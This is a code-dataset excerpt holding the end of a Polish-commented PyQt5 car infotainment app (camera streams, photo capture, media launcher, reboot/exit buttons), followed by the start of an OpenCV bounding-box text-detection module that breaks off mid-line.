\"r\").read())\n\t\t#wyświetlam pusty formularz, na którym się wyświetli stream z kamery\n\t\tself.show()\n\t\t\n\t\tself.Back.clicked.connect(lambda: self.closeFrontCamcorderStream())\n\n\t\t#tworze etykiete, w której wyświetlą się ramki QPixmap \"pobrane\" z kamerki\n\t\tself.VideoLabel = QLabel(self)\n\t\t#ustalam pozycję i wymiary: x, y, szerokość, wysokość\n\t\tself.VideoLabel.setGeometry(QtCore.QRect(0, 0, 840, 540))\n\n\t\t#tworze nowy wątek\n\t\tself.ThreadStream = QThread()\n\t\t#tworzę obiekt, który dziedziczy po QObject\n\t\t#dzięki niemu będzie możliwość obsługi slotów i sygnałów\n\t\tself.WorkerStream = Camera(\"/dev/FrontCamcorder\")\n\t\t\n\t\t#jeśli obiekt klasy Camera wyślę sygnał \"StreamSignal\", który zawiera w sobie obiekt QPixmap\n\t\t#to funkcja streamFromFrontWebcam() go obsłuży\n\t\t#czyli \"wklei\" go do etykiety VideoLabel, a potem tę etykietę wyświetli\n\t\tself.WorkerStream.StreamSignal.connect(self.streamFromFrontWebcam)\n\t\t\n\t\t#przenoszę obiekt WorkerStream do nowego wątku\n\t\tself.WorkerStream.moveToThread(self.ThreadStream)\n\t\t\n\t\t#jeśli obiekt klasy Camera, wyślę sygnał FinishedSignal, to wątek, który obsługiwał streamowanie się zakończy\n\t\tself.WorkerStream.FinishedSignal.connect(self.ThreadStream.quit)\n\t\t\n\t\t#jeśli nowy wątek zostanie uruchomiony to\n\t\t#zostanie wykonana funkcja startFrontCamcorderStream() z klasy Camera \n\t\tself.ThreadStream.started.connect(self.WorkerStream.startCamcorderStream)\n\t\t\n\t\t#uruchamiam nowy wątek\n\t\tself.ThreadStream.start()\n\t\n\t#funkcja zamykająca stream z kamerki\n\tdef closeFrontCamcorderStream(self):\n\t\tos.system(\"rm temp/stream\")\n\t\tself.close()\n\t#slot, który wyświetla w etykiecie VideoLabel obiekt QPixmap otrzymany od obiektu klasy Camera\n\tdef streamFromFrontWebcam(self,ResizedFrame):\n\t\tself.VideoLabel.setPixmap(ResizedFrame)\n\t\tself.VideoLabel.show()\n\n\n#Klasa odpowiadająca za BackCamcorderWindow, czyli za forms/back_camcorder_window.py\n#analogicznie dla kamery cofania\nclass BackCamcorderWindow(QMainWindow, blank_window.Ui_BlankWindow):\n\tdef __init__(self):\n\t\tsuper(self.__class__, self).__init__()\n\t\tself.setupUi(self) \n\t\tself.setWindowFlags(QtCore.Qt.FramelessWindowHint)\n\t\tself.setStyleSheet(open(\"resources/style.qss\", \"r\").read()) \n\t\tself.show()\n\t\t\n\t\tself.Back.clicked.connect(lambda: self.closeBackCamcorderStream())\n\t\t\n\t\t#tworze etykiete, w której wyświetlą się ramki QPixmap \"pobrane\" z kamerki\n\t\tself.VideoLabel = QLabel(self)\n\t\t#ustalam pozycję i wymiary: x, y, szerokość, wysokość\n\t\tself.VideoLabel.setGeometry(QtCore.QRect(0, 0, 840, 540))\n\t\t\n\t\t#tworze nowy wątek\n\t\tself.ThreadStream = QThread()\n\t\t#tworzę obiekt, który dziedziczy po QObject\n\t\t#dzięki niemu będzie możliwość obsługi slotów i sygnałów\n\t\tself.WorkerStream = Camera(\"/dev/BackCamcorder\")\n\t\t\n\t\t#jeśli obiekt klasy Camera wyślę sygnał \"StreamSignal\", który zawiera w sobie obiekt QPixmap\n\t\t#to funkcja streamFromBackWebcam() go obsłuży\n\t\t#czyli \"wklei\" go do etykiety VideoLabel, a potem tę etykietę wyświetli\n\t\tself.WorkerStream.StreamSignal.connect(self.streamFromBackWebcam)\n\t\t\n\t\t#przenoszę obiekt WorkerStream do nowego wątku\n\t\tself.WorkerStream.moveToThread(self.ThreadStream)\n\t\t\n\t\t#jeśli obiekt klasy Camera, wyślę sygnał FinishedSignal, to wątek, który obsługiwał streamowanie się zakończy\n\t\tself.WorkerStream.FinishedSignal.connect(self.ThreadStream.quit)\n\t\t\n\t\t#jeśli nowy wątek zostanie uruchomiony to\n\t\t#zostanie wykonana funkcja startCamcorderStream() z klasy Camera \n\t\tself.ThreadStream.started.connect(self.WorkerStream.startCamcorderStream)\n\t\t\n\t\t#uruchamiam nowy wątek\n\t\tself.ThreadStream.start()\n\n\t\n\t#funkcja zamykająca stream z kamerki\n\tdef closeBackCamcorderStream(self):\n\t\tos.system(\"rm temp/stream\")\n\t\tself.close()\n\t#slot, który wyświetla w etykiecie VideoLabel obiekt QPixmap otrzymany od obiektu klasy Camera\n\tdef streamFromBackWebcam(self,ResizedFrame):\n\t\tself.VideoLabel.setPixmap(ResizedFrame)\n\t\tself.VideoLabel.show()\n\n\n#Klasa odpowiadająca za CameraWindow, czyli za forms/camera_window\n#analogicznie jak wyżej, tylko klasa do obługi zdjęć\n#wszystkie 3 następne klasy do obsługi robienia zdjęć\nfrom forms import camera_window\nclass CameraWindow(QMainWindow, camera_window.Ui_CameraWindow):\n\tdef __init__(self):\n\t\tsuper(self.__class__, self).__init__()\n\t\tself.setupUi(self) \n\n\t\t#przypisuje konkretną funkcję do przycisku i sygnał\n\t\tself.Front_Camera.clicked.connect(lambda: self.showFrontCameraForm())\t\t\n\t\tself.Back_Camera.clicked.connect(lambda: self.showBackCameraForm())\n\t\tself.setWindowFlags(QtCore.Qt.FramelessWindowHint)\n\t\tself.setStyleSheet(open(\"resources/style.qss\", \"r\").read())\n\t\n\t#funkcję(sloty) do obsługi przycisków\n\tdef showFrontCameraForm(self):\n\t\tself.dialog = FrontCameraWindow()\n\tdef showBackCameraForm(self):\n\t\tself.dialog = BackCameraWindow()\n\n#Klasa odpowiadająca za FrontCameraWindow, czyli za forms/front_camera_window.py\nclass FrontCameraWindow(QMainWindow, blank_window.Ui_BlankWindow):\n\tdef __init__(self):\n\t\tsuper(self.__class__, self).__init__()\n\t\tself.setupUi(self) \n\n\t\tself.setWindowFlags(QtCore.Qt.FramelessWindowHint)\n\t\tself.setStyleSheet(open(\"resources/style.qss\", \"r\").read())\n\t\tself.show()\n\n\t\tself.Back.clicked.connect(lambda: self.closeFrontCamcorderStream())\n\t\t\n\t\t#tworze etykiete, w której wyświetlą się ramki QPixmap \"pobrane\" z kamerki\n\t\tself.VideoLabel = QLabel(self)\n\t\t#ustalam pozycję i wymiary: x, y, szerokość, wysokość\n\t\tself.VideoLabel.setGeometry(QtCore.QRect(0, 0, 840, 540))\n\t\t\n\t\t#Rysuję przycisk zrób zdjęcie\n\t\tself.TakePhoto=RadioPlayWindow.drawControlFMButton(self,\"TakePhoto\",860,160,\"#26d8fc\",\"camera.png\")\n\t\tself.TakePhoto.clicked.connect(lambda: self.takePhoto())\n\t\tself.TakePhoto.show()\n\t\t#dodaje rysowanie etykiety\n\t\tself.TakePhotoLabel=RadioPlayWindow.drawControlButtonLabel(self,860,320,\"Zrób zdjęcie\")\n\t\tself.TakePhotoLabel.show()\n\t\t\n\t\t#tworze nowy wątek\n\t\tself.ThreadStream = QThread()\n\t\t#tworzę obiekt, który dziedziczy po QObject\n\t\t#dzięki niemu będzie możliwość obsługi slotów i sygnałów\n\t\tself.WorkerStream = Camera(\"/dev/FrontCamcorder\")\n\t\t\n\t\t#jeśli obiekt klasy Camera wyślę sygnał \"StreamSignal\", który zawiera w sobie obiekt QPixmap\n\t\t#to funkcja streamFromWebcam() go obsłuży\n\t\t#czyli \"wklei\" go do etykiety VideoLabel, a potem tę etykietę wyświetli\n\t\tself.WorkerStream.StreamSignal.connect(self.streamFromFrontWebcam)\n\t\t\n\t\t#przenoszę obiekt WorkerStream do nowego wątku\n\t\tself.WorkerStream.moveToThread(self.ThreadStream)\n\t\t\n\t\t#jeśli obiekt klasy Camera, wyślę sygnał FinishedSignal, to wątek, który obsługiwał streamowanie się zakończy\n\t\tself.WorkerStream.FinishedSignal.connect(self.ThreadStream.quit)\n\t\t\n\t\t#jeśli nowy wątek zostanie uruchomiony to\n\t\t#zostanie wykonana funkcja startCamcorderStream() z klasy Camera \n\t\tself.ThreadStream.started.connect(self.WorkerStream.startCamcorderStream)\n\t\t\n\t\t#uruchamiam nowy wątek\n\t\tself.ThreadStream.start()\n\n\t#funkcja zamykająca stream z kamerki\n\tdef closeFrontCamcorderStream(self):\n\t\tos.system(\"rm temp/stream\")\n\t\tself.close()\n\t#slot, który wyświetla w etykiecie VideoLabel obiekt QPixmap otrzymany od obiektu klasy Camera\n\tdef streamFromFrontWebcam(self,ResizedFrame):\n\t\tself.VideoLabel.setPixmap(ResizedFrame)\n\t\tself.VideoLabel.show()\n\tdef takePhoto(self):\n\t\tos.system(\"touch temp/photo\")\n\n#Klasa odpowiadająca za BackCameraWindow, czyli za forms/back_camera_window.py\nclass BackCameraWindow(QMainWindow, blank_window.Ui_BlankWindow):\n\tdef __init__(self):\n\t\tsuper(self.__class__, self).__init__()\n\t\tself.setupUi(self) \n\n\t\t#przypisuje konkretną funkcję do przycisku i sygnał\n\t\tself.setWindowFlags(QtCore.Qt.FramelessWindowHint)\n\t\tself.setStyleSheet(open(\"resources/style.qss\", \"r\").read())\n\t\tself.show()\n\n\t\tself.Back.clicked.connect(lambda: self.closeBackCamcorderStream())\n\t\t\n\t\t#tworze etykiete, w której wyświetlą się ramki QPixmap \"pobrane\" z kamerki\n\t\tself.VideoLabel = QLabel(self)\n\t\t#ustalam pozycję i wymiary: x, y, szerokość, wysokość\n\t\tself.VideoLabel.setGeometry(QtCore.QRect(0, 0, 840, 540))\n\t\t\n\t\t#Rysuję przycisk zrób zdjęcie\n\t\tself.TakePhoto=RadioPlayWindow.drawControlFMButton(self,\"TakePhoto\",860,160,\"#26d8fc\",\"camera.png\")\n\t\tself.TakePhoto.clicked.connect(lambda: self.takePhoto())\n\t\tself.TakePhoto.show()\n\t\t#dodaje rysowanie etykiety\n\t\tself.TakePhotoLabel=RadioPlayWindow.drawControlButtonLabel(self,860,320,\"Zrób zdjęcie\")\n\t\tself.TakePhotoLabel.show()\n\t\t\n\t\t#tworze nowy wątek\n\t\tself.ThreadStream = QThread()\n\t\t#tworzę obiekt, który dziedziczy po QObject\n\t\t#dzięki niemu będzie możliwość obsługi slotów i sygnałów\n\t\tself.WorkerStream = Camera(\"/dev/BackCamcorder\")\n\t\t\n\t\t#jeśli obiekt klasy Camera wyślę sygnał \"StreamSignal\", który zawiera w sobie obiekt QPixmap\n\t\t#to funkcja streamFromBackWebcam() go obsłuży\n\t\t#czyli \"wklei\" go do etykiety VideoLabel, a potem tę etykietę wyświetli\n\t\tself.WorkerStream.StreamSignal.connect(self.streamFromBackWebcam)\n\t\t\n\t\t#przenoszę obiekt WorkerStream do nowego wątku\n\t\tself.WorkerStream.moveToThread(self.ThreadStream)\n\t\t\n\t\t#jeśli obiekt klasy Camera, wyślę sygnał FinishedSignal, to wątek, który obsługiwał streamowanie się zakończy\n\t\tself.WorkerStream.FinishedSignal.connect(self.ThreadStream.quit)\n\t\t\n\t\t#jeśli nowy wątek zostanie uruchomiony to\n\t\t#zostanie wykonana funkcja startCamcorderStream() z klasy Camera \n\t\tself.ThreadStream.started.connect(self.WorkerStream.startCamcorderStream)\n\t\t\n\t\t#uruchamiam nowy wątek\n\t\tself.ThreadStream.start()\n\n\t\n\t#funkcja zamykająca stream z kamerki\n\tdef closeBackCamcorderStream(self):\n\t\tos.system(\"rm temp/stream\")\n\t\tself.close()\n\t#slot, który wyświetla w etykiecie VideoLabel obiekt QPixmap otrzymany od obiektu klasy Camera\n\tdef streamFromBackWebcam(self,ResizedFrame):\n\t\tself.VideoLabel.setPixmap(ResizedFrame)\n\t\tself.VideoLabel.show()\n\tdef takePhoto(self):\n\t\tos.system(\"touch temp/photo\")\n\n#Klasa odpowiadająca za MultimediaWindow czyli za forms/multimedia_window.py\n#wyświetla listę multimedialnych przycisków (netflix, spotify itd.)\n#oraz odpowiada za ich obsługę\nfrom forms import multimedia_window\nclass MultimediaWindow(QMainWindow, multimedia_window.Ui_MultimediaWindow):\n\tdef __init__(self):\n\t\tsuper(self.__class__, self).__init__()\n\t\tself.setupUi(self) # gets defined in the UI file\n\t\t\n\t\t#przypisuje konkretną funkcję do przycisku i sygnał\n\t\tself.Spotify.clicked.connect(lambda: self.playSpotify())\n\t\tself.Youtube.clicked.connect(lambda: self.playYoutube())\n\t\tself.Internet.clicked.connect(lambda: self.startChromium())\n\t\tself.Netflix.clicked.connect(lambda: self.startNetflix())\n\t\tself.setWindowFlags(QtCore.Qt.FramelessWindowHint)\n\t\tself.setStyleSheet(open(\"resources/style.qss\", \"r\").read()) \n\n\t#funkcję(sloty) do obsługi przycisków\n\tdef playSpotify(self):\n\t\tspotifyPath=\"chromium-browser https://open.spotify.com/browse/featured\"\n\t\t#spotifyPath=\"firefox https://open.spotify.com/browse/featured\"\n\t\tos.system(spotifyPath)\n\tdef playYoutube(self):\n\t\tyoutubePath=\"chromium-browser https://www.youtube.com\"\n\t\tos.system(youtubePath)\n\tdef startChromium(self):\n\t\tos.system('chromium-browser')\n\tdef startNetflix(self):\n\t\tnetflixPath=\"chromium-browser https://www.netflix.com \"\n\t\tos.system(netflixPath)\n\n#Klasa odpowiadająca za CloseWindow, czyli za forms/close_window.py\n#klasa odpowiada za okno zamykania aplikacji\nfrom forms import close_window\nclass CloseWindow(QMainWindow, close_window.Ui_CloseWindow):\n\tdef __init__(self):\n\t\tsuper(self.__class__, self).__init__()\n\t\tself.setupUi(self) \n\n\t\t#przypisuje konkretną funkcję do przycisku i sygnał\n\t\tself.Restart.clicked.connect(lambda: self.restartPI())\n\t\tself.Desktop.clicked.connect(lambda: self.showDesktop())\n\t\tself.setWindowFlags(QtCore.Qt.FramelessWindowHint)\n\t\tself.setStyleSheet(open(\"resources/style.qss\", \"r\").read())\n\t\n\t#funkcję(sloty) do obsługi przycisków\n\tdef restartPI(self):\n\t\tos.system('sudo reboot')\n\tdef showDesktop(self):\n\t\tos.system('sudo pkill -9 arecord;sudo pkill -9 aplay;sudo killall python3')\n", "repo_name": "imbirowycz/CarPi", "sub_path": "classes/SlotsAndSignals.py", "file_name": "SlotsAndSignals.py", "file_ext": "py", "file_size_in_byte": 37022, "program_lang": "python", "lang": "pl", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "forms.main_window.Ui_MainWindow", "line_number": 18, "usage_type": "attribute"}, {"api_name": "forms.main_window", "line_number": 18, "usage_type": "name"}, {"api_name": "os.system", "line_number": 47, "usage_type": "call"}, {"api_name": "forms.MP3_player_window.Ui_MP3PlayerWindow", "line_number": 64, "usage_type": "attribute"}, {"api_name": "forms.MP3_player_window", "line_number": 64, "usage_type": "name"}, {"api_name": "os.system", "line_number": 78, "usage_type": "call"}, {"api_name": "os.system", "line_number": 80, "usage_type": "call"}, {"api_name": "forms.FM_window.Ui_FMWindow", "line_number": 93, "usage_type": "attribute"}, {"api_name": "forms.FM_window", "line_number": 93, "usage_type": "name"}, {"api_name": "forms.blank_window.Ui_BlankWindow", "line_number": 131, "usage_type": "attribute"}, {"api_name": "forms.blank_window", "line_number": 131, "usage_type": "name"}, {"api_name": "classes.ListStations.ListStations", "line_number": 157, "usage_type": "call"}, {"api_name": "os.system", "line_number": 176, "usage_type": "call"}, {"api_name": "forms.radio_play_window.Ui_RadioPlayWindow", "line_number": 338, "usage_type": "attribute"}, {"api_name": "forms.radio_play_window", "line_number": 338, "usage_type": "name"}, {"api_name": "classes.ListStations.ListStations", "line_number": 353, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 418, "usage_type": "call"}, {"api_name": "os.system", "line_number": 465, "usage_type": "call"}, {"api_name": "os.system", "line_number": 480, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 491, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 491, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 494, "usage_type": "call"}, {"api_name": "os.system", "line_number": 501, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 528, "usage_type": "call"}, {"api_name": "forms.blank_window.Ui_BlankWindow", "line_number": 541, "usage_type": "attribute"}, {"api_name": "forms.blank_window", "line_number": 541, "usage_type": "name"}, {"api_name": "classes.ListPlaylists.ListPlaylists", "line_number": 547, "usage_type": "call"}, {"api_name": "forms.camcorder_window.Ui_CamcorderWindow", "line_number": 561, "usage_type": "attribute"}, {"api_name": "forms.camcorder_window", "line_number": 561, "usage_type": "name"}, {"api_name": "forms.blank_window.Ui_BlankWindow", "line_number": 585, "usage_type": "attribute"}, {"api_name": "forms.blank_window", "line_number": 585, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QThread", "line_number": 602, "usage_type": "call"}, {"api_name": "classes.Camera.Camera", "line_number": 605, "usage_type": "call"}, {"api_name": "os.system", "line_number": 627, "usage_type": "call"}, {"api_name": "forms.blank_window.Ui_BlankWindow", "line_number": 637, "usage_type": "attribute"}, {"api_name": "forms.blank_window", "line_number": 637, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QThread", "line_number": 653, "usage_type": "call"}, {"api_name": "classes.Camera.Camera", "line_number": 656, "usage_type": "call"}, {"api_name": "os.system", "line_number": 679, "usage_type": "call"}, {"api_name": "forms.camera_window.Ui_CameraWindow", "line_number": 691, "usage_type": "attribute"}, {"api_name": "forms.camera_window", "line_number": 691, "usage_type": "name"}, {"api_name": "forms.blank_window.Ui_BlankWindow", "line_number": 709, "usage_type": "attribute"}, {"api_name": "forms.blank_window", "line_number": 709, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QThread", "line_number": 734, "usage_type": "call"}, {"api_name": "classes.Camera.Camera", "line_number": 737, "usage_type": "call"}, {"api_name": "os.system", "line_number": 759, "usage_type": "call"}, {"api_name": "os.system", "line_number": 766, "usage_type": "call"}, {"api_name": "forms.blank_window.Ui_BlankWindow", "line_number": 769, "usage_type": "attribute"}, {"api_name": "forms.blank_window", "line_number": 769, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QThread", "line_number": 795, "usage_type": "call"}, {"api_name": "classes.Camera.Camera", "line_number": 798, "usage_type": "call"}, {"api_name": "os.system", "line_number": 821, "usage_type": "call"}, {"api_name": "os.system", "line_number": 828, "usage_type": "call"}, {"api_name": "forms.multimedia_window.Ui_MultimediaWindow", "line_number": 834, "usage_type": "attribute"}, {"api_name": "forms.multimedia_window", "line_number": 834, "usage_type": "name"}, {"api_name": "os.system", "line_number": 851, "usage_type": "call"}, {"api_name": "os.system", "line_number": 854, "usage_type": "call"}, {"api_name": "os.system", "line_number": 856, "usage_type": "call"}, {"api_name": "os.system", "line_number": 859, "usage_type": "call"}, {"api_name": "forms.close_window.Ui_CloseWindow", "line_number": 864, "usage_type": "attribute"}, {"api_name": "forms.close_window", "line_number": 864, "usage_type": "name"}, {"api_name": "os.system", "line_number": 877, "usage_type": "call"}, {"api_name": "os.system", "line_number": 879, "usage_type": "call"}]} {"seq_id": "12864961773", "text": "import numpy as np\r\nimport cv2\r\nimport colorsys\r\n# import copy\r\nfrom help import NMS\r\n\r\n\r\ndef _create_unique_color_float(tag, hue_step=0.41):\r\n h, v = (tag * hue_step) % 1, 1. - (int(tag * hue_step) % 4) / 5.\r\n r, g, b = colorsys.hsv_to_rgb(h, 1., v)\r\n return r, g, b\r\n\r\n\r\ndef _create_unique_color_uchar(tag, hue_step=0.41):\r\n r, g, b = _create_unique_color_float(tag, hue_step)\r\n return int(255 * r), int(255 * g), int(255 * b)\r\n\r\n\r\ndef recoverBBox(x, y, w, h, dsr_x, dsr_y):\r\n x = x * dsr_x\r\n y = y * dsr_y\r\n w = w * dsr_x\r\n h = h * dsr_y\r\n return x, y, w, h\r\n\r\n\r\ndef drawBBoxes(img, bboxes, dsr_x, dsr_y, color_index=0, threshold=1):\r\n for i in range(len(bboxes)):\r\n if bboxes[i][2] > threshold and bboxes[i][3] > threshold:\r\n x, y, w, h = recoverBBox(bboxes[i][0], bboxes[i][1], bboxes[i][2], bboxes[i][3], dsr_x, dsr_y)\r\n color = _create_unique_color_uchar(color_index)\r\n cv2.rectangle(img, (x, y), (x + w - 1, y + h - 1), color, 2)\r\n return img\r\n\r\n\r\ndef getBoundingRect(contours, threshold=1):\r\n bboxes = []\r\n for i in range(len(contours)):\r\n x, y, w, h = cv2.boundingRect(contours[i])\r\n if h > threshold and w > threshold:\r\n bboxes.append([x, y, w, h])\r\n return bboxes\r\n\r\n\r\ndef drawBoundingRect(img, contours, dsr_x, dsr_y, color_index=0, threshold=1):\r\n for i in range(len(contours)):\r\n # print(cv2.minAreaRect(contours[i]))\r\n x, y, w, h = cv2.boundingRect(contours[i])\r\n if h > threshold and w > threshold:\r\n x, y, w, h = recoverBBox(x, y, w, h, dsr_x, dsr_y)\r\n color = _create_unique_color_uchar(color_index)\r\n cv2.rectangle(img, (x, y), (x + w - 1, y + h - 1), color, 2)\r\n return img\r\n\r\n\r\ndef findContours(img):\r\n _, contours, _ = cv2.findContours(img, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\n return contours\r\n\r\n\r\ndef includeBoxes(big_box, small_box):\r\n big_x1 = big_box[0]\r\n big_x2 = big_box[0] + big_box[2] - 1\r\n big_y1 = big_box[1]\r\n big_y2 = big_box[1] + big_box[3] - 1\r\n inc_box = []\r\n # rem_box = copy.deepcopy(small_box)\r\n for i in range(len(small_box)):\r\n center_x = small_box[i][0] + (small_box[i][2] - 1) / 2\r\n center_y = small_box[i][1] + (small_box[i][3] - 1) / 2\r\n if center_x > big_x1 and center_x < big_x2 and center_y > big_y1 and center_y < big_y2:\r\n inc_box.append(small_box[i])\r\n # rem_box.remove(small_box[i])\r\n return inc_box # , rem_box\r\n\r\n\r\ndef filterBBox(bboxes):\r\n for i in range(len(bboxes)):\r\n bboxes[i].append(bboxes[i][2] * bboxes[i][3])\r\n return NMS.IoM_suppression_fast(bboxes)\r\n\r\n\r\ndef isLeftRightTouched(bbox1, bbox2, offset=1):\r\n condition1 = bbox1[0] + bbox1[2] + offset > bbox2[0]\r\n condition2 = bbox1[0] < bbox2[0]\r\n condition3 = bbox1[0] + bbox1[2] - 1 < bbox2[0] + bbox2[2] - 1\r\n condition4 = bbox1[1] <= bbox2[1] + bbox2[3] - 1\r\n condition5 = bbox1[1] + bbox1[3] - 1 >= bbox2[1]\r\n if condition1 and condition2 and condition3 and condition4 and condition5:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\ndef isUpDownTouched(bbox1, bbox2, offset=1):\r\n condition1 = bbox1[1] + bbox1[3] + offset > bbox2[1]\r\n condition2 = bbox1[1] < bbox2[1]\r\n condition3 = bbox1[1] + bbox1[3] - 1 < bbox2[1] + bbox2[3] - 1\r\n condition4 = bbox1[0] <= bbox2[0] + bbox2[2] - 1\r\n condition5 = bbox1[0] + bbox1[2] - 1 >= bbox2[0]\r\n if condition1 and condition2 and condition3 and condition4 and condition5:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\ndef isMatchPairLR(j, bboxes1, bboxes2):\r\n index1 = []\r\n area = 0\r\n for k in range(len(bboxes2)):\r\n if isLeftRightTouched(bboxes1[j], bboxes2[k]):\r\n if bboxes2[k][2] * bboxes2[k][3] > area:\r\n area = bboxes2[k][2] * bboxes2[k][3]\r\n index1 = [j, k]\r\n if index1:\r\n index2 = []\r\n area = 0\r\n for l in range(len(bboxes1)):\r\n if isLeftRightTouched(bboxes1[l], bboxes2[index1[1]]):\r\n if bboxes1[l][2] * bboxes1[l][3] > area:\r\n area = bboxes1[l][2] * bboxes1[l][3]\r\n index2 = [l, index1[1]]\r\n else:\r\n return False, index1\r\n\r\n if index1 == index2:\r\n return True, index1\r\n else:\r\n return False, index1\r\n\r\n\r\ndef isMatchPairRL(j, bboxes1, bboxes2):\r\n index1 = []\r\n area = 0\r\n for k in range(len(bboxes2)):\r\n if isLeftRightTouched(bboxes2[k], bboxes1[j]):\r\n if bboxes2[k][2] * bboxes2[k][3] > area:\r\n area = bboxes2[k][2] * bboxes2[k][3]\r\n index1 = [j, k]\r\n if index1:\r\n index2 = []\r\n area = 0\r\n for l in range(len(bboxes1)):\r\n if isLeftRightTouched(bboxes2[index1[1]], bboxes1[l]):\r\n if bboxes1[l][2] * bboxes1[l][3] > area:\r\n area = bboxes1[l][2] * bboxes1[l][3]\r\n index2 = [l, index1[1]]\r\n else:\r\n return False, index1\r\n\r\n if index1 == index2:\r\n return True, index1\r\n else:\r\n return False, index1\r\n\r\n\r\ndef isMatchPairUD(j, bboxes1, bboxes2):\r\n index1 = []\r\n area = 0\r\n for k in range(len(bboxes2)):\r\n if isUpDownTouched(bboxes1[j], bboxes2[k]):\r\n if bboxes2[k][2] * bboxes2[k][3] > area:\r\n area = bboxes2[k][2] * bboxes2[k][3]\r\n index1 = [j, k]\r\n if index1:\r\n index2 = []\r\n area = 0\r\n for l in range(len(bboxes1)):\r\n if isUpDownTouched(bboxes1[l], bboxes2[index1[1]]):\r\n if bboxes1[l][2] * bboxes1[l][3] > area:\r\n area = bboxes1[l][2] * bboxes1[l][3]\r\n index2 = [l, index1[1]]\r\n else:\r\n return False, index1\r\n\r\n if index1 == index2:\r\n return True, index1\r\n else:\r\n return False, index1\r\n\r\n\r\ndef isMatchPairDU(j, bboxes1, bboxes2):\r\n index1 = []\r\n area = 0\r\n for k in range(len(bboxes2)):\r\n if isUpDownTouched(bboxes2[k], bboxes1[j]):\r\n if bboxes2[k][2] * bboxes2[k][3] > area:\r\n area = bboxes2[k][2] * bboxes2[k][3]\r\n index1 = [j, k]\r\n if index1:\r\n index2 = []\r\n area = 0\r\n for l in range(len(bboxes1)):\r\n if isUpDownTouched(bboxes2[index1[1]], bboxes1[l]):\r\n if bboxes1[l][2] * bboxes1[l][3] > area:\r\n area = bboxes1[l][2] * bboxes1[l][3]\r\n index2 = [l, index1[1]]\r\n else:\r\n return False, index1\r\n\r\n if index1 == index2:\r\n return True, index1\r\n else:\r\n return False, index1\r\n\r\n\r\ndef segmentConnectedText(bbox_all, bbox_up_left, bbox_up_right, bbox_down_left, bbox_down_right):\r\n seg_checked_bbox = []\r\n for i in range(len(bbox_all)):\r\n up_left = includeBoxes(bbox_all[i], bbox_up_left)\r\n if len(up_left) <= 1:\r\n seg_checked_bbox.append(bbox_all[i])\r\n continue\r\n else:\r\n up_right = includeBoxes(bbox_all[i], bbox_up_right)\r\n if len(up_right) <= 1:\r\n seg_checked_bbox.append(bbox_all[i])\r\n continue\r\n else:\r\n down_right = includeBoxes(bbox_all[i], bbox_down_right)\r\n if len(down_right) <= 1:\r\n seg_checked_bbox.append(bbox_all[i])\r\n continue\r\n else:\r\n down_left = includeBoxes(bbox_all[i], bbox_down_left)\r\n if len(down_left) <= 1:\r\n seg_checked_bbox.append(bbox_all[i])\r\n continue\r\n else:\r\n final_index = []\r\n for j in range(len(up_left)):\r\n match_index = []\r\n flag1, index1 = isMatchPairLR(j, up_left, up_right)\r\n if flag1:\r\n match_index.extend(index1)\r\n flag2, index2 = isMatchPairUD(index1[1], up_right, down_right)\r\n if flag2:\r\n match_index.append(index2[1])\r\n flag3, index3 = isMatchPairRL(index2[1], down_right, down_left)\r\n if flag3:\r\n match_index.append(index3[1])\r\n flag4, index4 = isMatchPairDU(index3[1], down_left, up_left)\r\n if flag4:\r\n # Got a group\r\n final_index.append(match_index)\r\n\r\n if len(final_index) > 1:\r\n for l in range(len(final_index)):\r\n x1 = min(up_left[final_index[l][0]][0], up_right[final_index[l][1]][0],\r\n down_right[final_index[l][2]][0], down_left[final_index[l][3]][0])\r\n y1 = min(up_left[final_index[l][0]][1], up_right[final_index[l][1]][1],\r\n down_right[final_index[l][2]][1], down_left[final_index[l][3]][1])\r\n x2 = max(up_left[final_index[l][0]][0] + up_left[final_index[l][0]][2] - 1,\r\n up_right[final_index[l][1]][0] + up_right[final_index[l][1]][2] - 1,\r\n down_right[final_index[l][2]][0] + down_right[final_index[l][2]][2] - 1,\r\n down_left[final_index[l][3]][0] + down_left[final_index[l][3]][2] - 1)\r\n y2 = max(up_left[final_index[l][0]][1] + up_left[final_index[l][0]][3] - 1,\r\n up_right[final_index[l][1]][1] + up_right[final_index[l][1]][3] - 1,\r\n down_right[final_index[l][2]][1] + down_right[final_index[l][2]][3] - 1,\r\n down_left[final_index[l][3]][1] + down_left[final_index[l][3]][3] - 1)\r\n seg_checked_bbox.append([x1, y1, x2 - x1 + 1, y2 - y1 + 1])\r\n bbox_up_left.remove(up_left[final_index[l][0]])\r\n bbox_up_right.remove(up_right[final_index[l][1]])\r\n bbox_down_right.remove(down_right[final_index[l][2]])\r\n bbox_down_left.remove(down_left[final_index[l][3]])\r\n else:\r\n seg_checked_bbox.append(bbox_all[i])\r\n return seg_checked_bbox\r\n\r\n\r\ndef processLocation(img, cls_image=None, locations=None, dsr_x=4, dsr_y=4, drawBBox=False, filterBox=True):\r\n for i in range(cls_image.shape[0]):\r\n for j in range(cls_image.shape[1]):\r\n if cls_image[i, j, 0] < 0.5:\r\n cls_image[i, j, 0] = 255\r\n else:\r\n cls_image[i, j, 0] = 0\r\n loc = locations[i, j, :].tolist()\r\n loc = loc.index(max(loc))\r\n locations[i, j, :] = 0\r\n locations[i, j, loc] = 255\r\n\r\n cls_image = np.array(cls_image, np.uint8)\r\n up_left = np.array(locations[:, :, 1], np.uint8)\r\n up_right = np.array(locations[:, :, 2], np.uint8)\r\n down_left = np.array(locations[:, :, 3], np.uint8)\r\n down_right = np.array(locations[:, :, 4], np.uint8)\r\n # img_color = cv2.cvtColor(cls_image, cv2.COLOR_GRAY2RGB)\r\n # img = cv2.imread('test.jpg')\r\n # imgray = cv2.cvtColor(classes, cv2.COLOR_BGR2GRAY) # 彩色转灰度\r\n # ret, thresh = cv2.threshold(img, 127, 255, 0) # 进行二值化\r\n # print(thresh)\r\n contours = findContours(cls_image)\r\n bbox_all 